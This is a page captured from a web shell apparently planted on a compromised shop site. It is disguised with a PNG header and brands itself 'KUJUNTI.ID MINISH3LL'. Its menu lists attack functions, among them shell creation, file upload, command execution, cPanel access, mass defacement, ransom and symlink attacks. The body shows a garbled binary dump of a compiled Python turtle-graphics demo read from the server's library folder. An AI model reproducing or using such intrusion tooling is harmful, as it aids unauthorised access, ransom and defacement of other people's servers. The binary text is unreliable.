\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 mahali.shop
KUJUNTI.ID MINISH3LL
Path : /lib64/python3.9/turtledemo/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //lib64/python3.9/turtledemo/__pycache__/lindenmayer.cpython-39.opt-1.pyc


a

�i�	�@sDdZddlTdd�Zdd�Zdd�Zed	kr@e�Zee�e�d
S)a�       turtle-example-suite:

        xtx_lindenmayer_indian.py

Each morning women in Tamil Nadu, in southern
India, place designs, created by using rice
flour and known as kolam on the thresholds of
their homes.

These can be described by Lindenmayer systems,
which can easily be implemented with turtle
graphics and Python.

Two examples are shown here:
(1) the snake kolam
(2) anklets of Krishna

Taken from Marcia Ascher: Mathematics
Elsewhere, An Exploration of Ideas Across
Cultures

�)�*cCs4t|�D]&}d}|D]}||�||�}q|}q|S)N�)�range�get)�seqZreplacementRules�n�iZnewseq�element�r
�./usr/lib64/python3.9/turtledemo/lindenmayer.py�replacesrc
CsP|D]F}z||�WqtyHzt|||�WnYn0Yq0qdS)N)�	TypeError�draw)�commandsZrules�br
r
rr&srcCsdd�}dd�}dd�}|||dd�}d	d
i}d}t||d�}t�td�td
d�t�t�td�t�t||�ddl	m
}|d�dd�}dd�}	dd�}
||	|
d�}ddd�}d}
t�td�tdd�t�td�t|
|d�}t||�td
�dS)NcSstd�dS�N�-)�rightr
r
r
r�r7szmain.<locals>.rcSstd�dSr)�leftr
r
r
r�l:szmain.<locals>.lcSstd�dS)Ng@)�forwardr
r
r
r�f=szmain.<locals>.fzf+f+f--f--f+f+f)�-�+rrrzb+f+b--f--b+f+bz
b--f--b--f��r��)�sleepcSstd�tdd�dS)NZred�
�Z)�color�circler
r
r
r�AVszmain.<locals>.AcSs>ddlm}td�d|d�}t|�t|d�t|�dS)Nr)�sqrtZblack��i)�mathr$r!rr")r$rr
r
r�BZs
zmain.<locals>.BcSstd�td�dS)NZgreenr)r!rr
r
r
r�Fbszmain.<locals>.F)�arrZafbfaZ	afbfbfbfa)r*rZfbfbfbfbrzDone!)r�resetZspeedZtracerZhtZupZbackwardZdownr�timerr)rrrZsnake_rulesZsnake_replacementRulesZsnake_startZdrawingrr#r(r)Z
krishna_rulesZkrishna_replacementRulesZ
krishna_startr
r
r�main1s@




r-�__main__N)	�__doc__Zturtlerrr-�__name__�msg�printZmainloopr
r
r
r�<module>sC

© KUJUNTI.ID